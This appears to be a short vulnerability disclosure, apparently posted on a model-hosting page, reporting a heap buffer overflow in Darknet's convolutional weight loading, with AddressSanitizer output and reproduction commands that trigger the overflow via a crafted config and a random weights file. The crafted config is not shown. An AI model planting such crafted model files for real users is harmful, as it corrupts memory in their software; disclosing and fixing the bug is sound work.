Darknet numload Heap Buffer Overflow โ ASan CONFIRMED
ASan Crash Output
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000160
WRITE of size 4000 at 0x602000000160 thread T0
#4 in load_convolutional_weights+0x1e0
0x602000000160 is located 0 bytes after 16-byte region
allocated by calloc in make_convolutional_layer+0x374
Buffer: 16 bytes (filters=4 ร 4)
Write: 4000 bytes (numload=1000 ร 4)
Overflow: 3984 bytes
Reproduce
git clone https://github.com/pjreddie/darknet && cd darknet
CC=clang CFLAGS="-fsanitize=address,undefined -g" LDFLAGS="-fsanitize=address,undefined" make
dd if=/dev/urandom of=/tmp/dummy.weights bs=1024 count=100
./darknet partial numload_overflow.cfg /tmp/dummy.weights /dev/null 1
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐ Ask for provider support